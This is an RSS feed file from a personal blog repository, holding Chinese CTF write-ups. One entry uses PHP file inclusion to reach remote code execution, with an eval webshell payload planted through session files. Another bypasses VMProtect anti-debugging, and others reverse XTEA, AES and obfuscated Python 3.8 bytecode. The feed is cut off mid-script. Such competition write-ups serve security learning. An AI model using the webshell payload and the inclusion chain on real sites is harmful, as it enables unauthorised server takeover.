-
Notifications
You must be signed in to change notification settings - Fork 2
/
rss.xml
510 lines (282 loc) · 485 KB
/
rss.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>YuGao's Blog</title>
<link href="https://sxyugao.top/rss.xml" rel="self"/>
<link href="https://sxyugao.top/"/>
<updated>2023-04-09T15:33:49.246Z</updated>
<id>https://sxyugao.top/</id>
<author>
<name>sxyugao</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>领航杯江苏省赛 2022 Linkgame</title>
<link href="https://sxyugao.top/p/50315424.html"/>
<id>https://sxyugao.top/p/50315424.html</id>
<published>2023-04-08T09:43:55.000Z</published>
<updated>2023-04-09T15:33:49.246Z</updated>
<content type="html"><![CDATA[<p>整理文件的时候发现自己还写过这个比赛的 WP,大部分是水题就不搬了,留一道有意思的题记录一下吧。</p><span id="more"></span><p>题目有点久远了,具体内容也忘得差不多了,也没有配套的图片,就将就着看吧(</p><p>在首页点击帮助,发现 url 里有 file 参数,我记得是包含了一个 txt 文件。</p><p>于是可以用 php 伪协议读取源码(列出关键部分):</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'name'</span>])) {</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'name'</span>] = <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$_GET</span>[<span class="string">'name'</span>]);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$_SESSION</span>[<span class="string">'name'</span>])) {</span><br><span class="line"> <span class="variable">$_SESSION</span>[<span class="string">'name'</span>] = <span class="title function_ invoke__">base64_encode</span>(<span class="string">'me'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"><span class="meta"><?php</span> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'file'</span>])) {</span><br><span class="line"> <span class="keyword">include</span>(<span class="variable">$_GET</span>[<span class="string">'file'</span>]);</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>可以看到 session 是可控的,可以考虑包含 session 来实现 getshell。</p><p>如果自定义的话,php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。</p><p>常见的存放位置(路径 + 文件名):</p><ul><li><code>/var/lib/php/sess_PHPSESSID</code></li><li><code>/var/lib/php/sessions/sess_PHPSESSID</code></li><li><code>/tmp/sess_PHPSESSID</code></li><li><code>/tmp/sessions/sess_PHPSESSID</code></li></ul><p>而 <code>PHPSESSID</code> 在发送的请求的 cookie 字段中可以看到。</p><p>回到本题,虽然 username 看似被 BASE64 编码了,但是可以通过 <a href="https://sxyugao.top/p/e31149de.html#php-filter">php 伪协议</a>来获取解码后的数据,现在唯一问题是如何解决 session 文件格式导致的解码失败问题。</p><p>我们先来了解一下 BASE64 编码格式,从一个字符串到 BASE64 编码需要这么几步(以 <code>ab</code> 为例):</p><ul><li>转成 ascii 码:97 98</li><li>转成对应 8 位二进制:01100001 01100010</li><li>每组 6 位重分组:011000 010110 0010</li><li>分组长度不够末尾补零:011000 010110 001000</li><li>每组对应转为十进制:24 22 8</li><li>查表得:<code>YWI</code></li><li>末尾补零结尾填充 <code>=</code>:<code>YWI=</code></li></ul><div class="info"><p>最后一个 6 位的 BASE64 字节块补四位零,最后附加上两个等号;补两位零,最后附加一个等号。</p></div><p>然后参考 <a href="https://sxyugao.top/p/93447acb.html#SESSION%E6%9C%BA%E5%88%B6">session 文件格式</a>,可以得知 session 文件内容一定形如 <code>username|s:<BASE64字串长度>:"<BASE64字串>"</code>,想办法将 <code>username|s:<BASE64字串长度>:"</code> 填充为正好能被完全分组的形式。</p><p>设 BASE64 字串长度的位数为 $x$,解码时 $x$ 满足 $(x + 13) \times 6 \equiv 0 \pmod 8$,取 $x = 3$,即 BASE64 字串的长度大于 100。</p><p>由 BASE64 编码的特点,密文和原文的长度比约为 4/3,取 payload <code>"a" * 60 + "<?php eval($_POST['cmd']) ?>"</code> 即可满足,此时密文长度为 120。</p><p>通过 <code>?name=</code> 写入 session 文件,用 <code>?file=</code> 文件包含,然后蚁剑用密码 <code>cmd</code> 连接即可 getshell。</p>]]></content>
<summary type="html"><p>整理文件的时候发现自己还写过这个比赛的 WP,大部分是水题就不搬了,留一道有意思的题记录一下吧。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Web" scheme="https://sxyugao.top/categories/CTF/Web/"/>
<category term="PHP伪协议" scheme="https://sxyugao.top/tags/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/"/>
<category term="文件包含" scheme="https://sxyugao.top/tags/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/"/>
</entry>
<entry>
<title>HWS第六期2023冬令营选拔赛 Writeup</title>
<link href="https://sxyugao.top/p/146f06a.html"/>
<id>https://sxyugao.top/p/146f06a.html</id>
<published>2023-03-29T07:14:01.000Z</published>
<updated>2023-04-08T08:04:26.104Z</updated>
<content type="html"><![CDATA[<p>寒假参加了 HWS 冬令营选拔赛,最近整理文件的时候想着记录一下。</p><p>整体比赛难度不大,水了个第十名,主要大佬们都去参加 Real World CTF 了,只有我还在这里摸爬滚打 /(ㄒoㄒ)/~~</p><span id="more"></span><h2 id="MISC">MISC</h2><h3 id="sound-from-somewhere">sound from somewhere</h3><p>听了下音频一眼 SSTV,直接就出了。</p><p><img src="https://s2.loli.net/2023/03/29/srV4bNLaEoZ6x2l.png" alt=""></p><h3 id="can-not-speak">can not speak</h3><p>比赛的时候都根据教程绕过反调试了,但是还是做不下去。</p><p>结果比赛比完和我说有非预期,过反调试就能直接在内存里搜索到 flag?而且比赛出题人复现不出正解,真是服了。</p><p>首先 DIE 查一下发现是 VMP 壳,这玩意网上都没啥解决方案,只能尝试过反调试。</p><p>以下内容均只为步骤搬运,大部分不了解原理,就看着图一乐吧。</p><ul><li>把 PEB 调试位清空:</li></ul><p>把 <code>gs:[60]</code> 和 <code>gs:[60]+bc</code> 置零</p><ul><li>下软件条件断点:</li></ul><p><code>NtQueryInformationProcess</code> -> <code>rdx == 0x07 || rdx == 0x1E</code></p><p><code>NtSetInformationThread</code> -> <code>rdx == 0x11</code></p><p><code>NtQueryInformationProcess</code> 断点命中前一个条件就把 <code>r8 <- 0</code></p><p>运行直至 <code>rdx == 0x1E</code>, 将 <code>r8 <- 0</code>,然后运行到返回,<code>rax <- C0000353</code></p><p><code>NtSetInformationThread</code> 命中后把 <code>rdx <- 3</code></p><ul><li>禁用软件断点,启用硬件条件断点:</li></ul><p><code>NtClose</code> -> <code>rcx == 0xDEADC0DE</code></p><p><code>NtQuerySystemInformation</code> -> <code>rcx == 0x23</code></p><p>选择无视异常运行</p><p><code>NtQuerySystemInformation</code> 命中后执行到返回,将 <code>rax <- 0xC0000001</code></p><p><code>NtClose</code> 命中后将 <code>rcx <- 0</code></p><ul><li>禁用全部断点,运行一次就到用户代码了</li></ul><p>或者你直接用 x96dbg 的插件 ScyllaHide,选择 VMP 的 Profile 就行,它原理主要是把上面的一些检测给 nop 了,但是这个代码会检测自身的完整性,在某个函数里会弹窗说文件被篡改,但在这道题里不影响最终效果(</p><p>过了反调试运行几次,然后右键 -> 搜索 -> 字符串就能直接看到内存里的 flag 了。</p><h2 id="REVERSE">REVERSE</h2><h3 id="babyre">babyre</h3><p>jadx 打开看了眼,先是有个明显的加密代码,但是感觉没那么简单直接跳过了。</p><p>然后发现有个动态加载 dex 文件的代码,又发现有个解密 assets 文件夹下 enc 的代码段。</p><p>直接把 enc 解密成 dex,进去发现是一个 AES + BASE64,CyberChef 一下就出了。</p><p>P.S. 我其实一开始并不知道这个动态加载 dex 文件是哪里被调用的,后来听讲解才知道是在 <code>AndroidManifest.xml</code> 中定义了 App 启动前的行为。</p><h3 id="easyre">easyre</h3><p>IDA 大致看了眼,程序结构比较常规,大概是输入个字符串加密然后和密文比较,然后加密是 TEA 系列的加密,比较用的 <code>memcmp</code>。</p><p>直接调试发现中途会直接异常退出,想到刚开始新建了线程,猜测是检测了主进程是否长时间挂起,直接退出。然后 hook 了 <code>NtClose</code> 就过了,就没管具体实现了。</p><p>动调的时候在加密函数下断拿到了 key,在 memcmp 下断,得到了密文长度和密文。IDA 里看加密函数的时候第一眼以为改了不少,后来发现类似以下代码</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">v8 = v4 + dword_140005728[v6 & <span class="number">3</span>];</span><br><span class="line">v9 = v4 - <span class="number">1640531527</span>;</span><br><span class="line">v10 = (v8 ^ (result + ((<span class="number">16</span> * result) ^ ((<span class="type">unsigned</span> <span class="type">int</span>)result >> <span class="number">5</span>)))) + v2;</span><br><span class="line">v11 = ((v9 + dword_140005728[(v9 >> <span class="number">11</span>) & <span class="number">3</span>]) ^ (v10 + ((<span class="number">16</span> * v10) ^ (v10 >> <span class="number">5</span>)))) + result;</span><br><span class="line">v12 = (v9 + dword_140005728[v9 & <span class="number">3</span>]) ^ (v11 + ((<span class="number">16</span> * v11) ^ (v11 >> <span class="number">5</span>)));</span><br></pre></td></tr></table></figure><p>其中的 v8 都是没用的,中间那一坨都可以改写成一致的形式,就是个改了 delta 方向和数值的 XTEA。</p><p>解密拿到原文包上 flag 就出了。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="type">unsigned</span> enc[] = {<span class="number">0xC0B29B34</span>, <span class="number">0xEF30AF6A</span>, <span class="number">0x98CCB238</span>, <span class="number">0x85B6F195</span>,</span><br><span class="line"> <span class="number">0xA2480685</span>, <span class="number">0xA63D9B59</span>, <span class="number">0xF191C71E</span>, <span class="number">0x6790767B</span>};</span><br><span class="line"><span class="type">unsigned</span> key[] = {<span class="number">0x29</span>, <span class="number">0x4823</span>, <span class="number">0x18BE</span>, <span class="number">0x6784</span>};</span><br><span class="line"><span class="type">const</span> <span class="type">unsigned</span> delta = <span class="number">1640531527</span>;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">decode</span><span class="params">(<span class="type">unsigned</span> &v0, <span class="type">unsigned</span> &v1)</span> </span>{</span><br><span class="line"> <span class="type">unsigned</span> sum = -delta * <span class="number">32</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">32</span>; i++) {</span><br><span class="line"> v1 -= (((v0 << <span class="number">4</span>) ^ (v0 >> <span class="number">5</span>)) + v0) ^ (sum + key[(sum >> <span class="number">11</span>) & <span class="number">3</span>]);</span><br><span class="line"> sum += delta;</span><br><span class="line"> v0 -= (((v1 << <span class="number">4</span>) ^ (v1 >> <span class="number">5</span>)) + v1) ^ (sum + key[sum & <span class="number">3</span>]);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">intToStr</span><span class="params">(<span class="type">unsigned</span> x)</span> </span>{</span><br><span class="line"> <span class="built_in">putchar</span>(x & <span class="number">0xff</span>);</span><br><span class="line"> <span class="built_in">putchar</span>(x >> <span class="number">0x8</span> & <span class="number">0xff</span>);</span><br><span class="line"> <span class="built_in">putchar</span>(x >> <span class="number">0x10</span> & <span class="number">0xff</span>);</span><br><span class="line"> <span class="built_in">putchar</span>(x >> <span class="number">0x18</span> & <span class="number">0xff</span>);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">4</span>; ++i) <span class="built_in">decode</span>(enc[i << <span class="number">1</span>], enc[i << <span class="number">1</span> | <span class="number">1</span>]);</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">unsigned</span> x : enc) <span class="built_in">intToStr</span>(x);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>P.S. 看冬令营的讲解发现在主函数之前有一些操作,寒假里有个 KM 推荐学弟做的 bbctf 也有类似的操作,看到时候能不能开个新坑。</p><h3 id="repy">repy</h3><p>这题比赛的时候没做出来,反而最后一部分的脑洞和出题人对上了,有点难绷。</p><p>这题一共分为 3 部分,前 2 个部分都用了控制流平坦化,一点一点来吧。</p><p>第一部分其实很简单,当时被吓退了,代码其实并不复杂,甚至可以直接手搓。</p><p>大致逻辑如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">bool</span> <span class="title">check</span><span class="params">(<span class="type">char</span> s[])</span> </span>{</span><br><span class="line"> <span class="type">int</span> v[<span class="number">10</span>];</span><br><span class="line"> <span class="built_in">memset</span>(v, <span class="number">0</span>, <span class="built_in">sizeof</span>(v));</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; s[i]; ++i) {</span><br><span class="line"> <span class="comment">// ... 省略一些合法性判断,如输入长度为 10 等</span></span><br><span class="line"> ++v[s[i] - <span class="string">'0'</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">10</span>; ++i) {</span><br><span class="line"> <span class="keyword">if</span> (s[i] - <span class="string">'0'</span> != v[i]) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>虽然这个手推是个小学奥数题,但是最近刚学了 z3,正好写个脚本一把梭了:</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">X = [BitVec(<span class="string">f'X_<span class="subst">{i}</span>'</span>, <span class="number">5</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)]</span><br><span class="line"></span><br><span class="line">check = [X[i] == (<span class="number">1</span> - ((((X[<span class="number">0</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">0</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">0</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">0</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">1</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">1</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">1</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">1</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">2</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">2</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">2</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">2</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">3</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">3</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">3</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">3</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">4</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">4</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">4</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">4</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">5</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">5</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">5</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">5</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">6</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">6</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">6</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">6</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">7</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">7</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">7</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">7</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">8</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">8</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">8</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">8</span>] ^ i) & <span class="number">1</span>))) +</span><br><span class="line"> (<span class="number">1</span> - ((((X[<span class="number">9</span>] ^ i) & <span class="number">8</span>) >> <span class="number">3</span>) | (((X[<span class="number">9</span>] ^ i) & <span class="number">4</span>) >> <span class="number">2</span>) | (((X[<span class="number">9</span>] ^ i) & <span class="number">2</span>) >> <span class="number">1</span>) | ((X[<span class="number">9</span>] ^ i) & <span class="number">1</span>)))</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)]</span><br><span class="line"></span><br><span class="line">_<span class="built_in">range</span> = [And(<span class="number">0</span> <= X[i], X[i] <= <span class="number">9</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)]</span><br><span class="line"></span><br><span class="line">s = Solver()</span><br><span class="line">s.add(_<span class="built_in">range</span> + check)</span><br><span class="line"><span class="keyword">if</span> s.check() == sat:</span><br><span class="line"> t = s.model()</span><br><span class="line"> res = [t[X[i]].as_long() <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)]</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">''</span>.join(<span class="built_in">str</span>(x) <span class="keyword">for</span> x <span class="keyword">in</span> res))</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(s.check())</span><br></pre></td></tr></table></figure><p>得到第一问的输入 <code>6210001000</code>。</p><p>紧接着程序根据第一问的答案对内存中的数组进行换表,全是控制流平坦化,用了冬令营的时候推荐的插件 D810 进行求解。</p><p>反混淆以后发现程序将第二问输入的字符串和处理后的表一一对应了起来,存到一个数组里,中间有一片代码都没对这个数组进行处理(也可能是 IDA 反编译出错了)。</p><p>紧接着直接传进 <code>sub_401600</code> 又通过表还原回输入的字符串,然后对其进行 MD5 并与一段已知值比较,破解可得 <code>yOUar3g0oD@tc4nd</code>。</p><p>然后就一头雾水了,比赛后根据讲解,左边还有 <code>sub_402930</code> 等函数不在流程中,其中 <code>sub_402930</code> 调用了文件输入输出,内部还有加密,极有可能和剩下两个文件有关。</p><p>中间有很多没啥用的垃圾赋值语句,去掉以后连逆带猜得到这个逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> __fastcall <span class="title">sub_402930</span><span class="params">(<span class="type">char</span> *iv, <span class="type">char</span> *key)</span> </span>{</span><br><span class="line"> <span class="type">int</span> i, len_iv = <span class="built_in">strlen</span>(iv);</span><br><span class="line"> <span class="type">char</span> s[<span class="number">32</span>];</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">16</span>; ++i) {</span><br><span class="line"> s[i + <span class="number">16</span>] = i < len_iv ? iv[i] : <span class="number">2</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">16</span>; ++i) {</span><br><span class="line"> s[i] = key[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="type">char</span> enc[] = <span class="string">"qgapgv,`kl_nbdj`-ejof"</span>;</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">10</span>; ++i) {</span><br><span class="line"> enc[i] ^= <span class="number">2</span>;</span><br><span class="line"> enc[i + <span class="number">11</span>] ^= <span class="number">3</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// enc[] = "secret.bin_magic.file"</span></span><br><span class="line"> <span class="comment">// ... 读取 magic.file,没啥大用</span></span><br><span class="line"> <span class="built_in">AES_set_encrypt_key</span>(key, <span class="number">128</span>, ptr);</span><br><span class="line"> <span class="built_in">AES_cbc_encrypt</span>(in, out, len, ptr, s + <span class="number">16</span>, <span class="number">1LL</span>); <span class="comment">// s + 16 是 iv 填充到 16 位</span></span><br><span class="line"> <span class="comment">// ... 写入 secret.bin</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>用脚本将 <code>secret.bin</code> 解密:</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"></span><br><span class="line">enc = <span class="built_in">open</span>(<span class="string">'secret.bin'</span>, <span class="string">'rb'</span>).read()</span><br><span class="line"></span><br><span class="line">key = <span class="string">b'yOUar3g0oD@tc4nd'</span></span><br><span class="line">iv = <span class="string">b'6210001000'</span> + <span class="string">b'\x02'</span> * <span class="number">6</span></span><br><span class="line">aes = AES.new(key, AES.MODE_CBC, iv)</span><br><span class="line">raw = aes.decrypt(enc)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'decrypted.pyc'</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(raw)</span><br></pre></td></tr></table></figure><p>然后是脑洞部分,根据题目名以及题中字符串 <code>But someone told me that he caught 38 giant snakes yesterday.....</code> (Anaconda 有蟒蛇的意思,还告诉了版本是 3.8),或者直接拿 DIE 检测都能知道它是 Python 3.8 的文件。</p><p>用 3.8 版本的 python 反汇编字节码发现会报错,检查报错信息发现它通过 <code>JUMP_FORWARD 36</code> 来跳过非法的字节码,同时影响反汇编。</p><p>通过 <code>dis.opmap</code> 我们得知 <code>JUMP_FORWARD 36</code> 的字节码为 <code>6E 24</code>,<code>NOP</code> 的字节码为 <code>09</code>。</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 注意要 3.8 版本的 python</span></span><br><span class="line"><span class="keyword">import</span> dis, marshal</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> op, opcode <span class="keyword">in</span> dis.opmap.items():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f'<span class="subst">{op}</span>:<span class="subst">{opcode}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">'-----------------------------'</span>)</span><br><span class="line"></span><br><span class="line">f = <span class="built_in">open</span>(<span class="string">'decrypted.pyc'</span>, <span class="string">'rb'</span>)</span><br><span class="line">code = f.read()</span><br><span class="line">code = marshal.loads(code[<span class="number">16</span>:])</span><br><span class="line"><span class="built_in">print</span>(dis.dis(code))</span><br></pre></td></tr></table></figure><p>于是我们可以 patch 字节码:</p><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'decrypted.pyc'</span>, <span class="string">'rb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> code = <span class="built_in">bytearray</span>(f.read())</span><br><span class="line"> op_len = <span class="built_in">len</span>(code)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(op_len):</span><br><span class="line"> <span class="keyword">if</span> code[i] == <span class="number">0x6E</span> <span class="keyword">and</span> code[i + <span 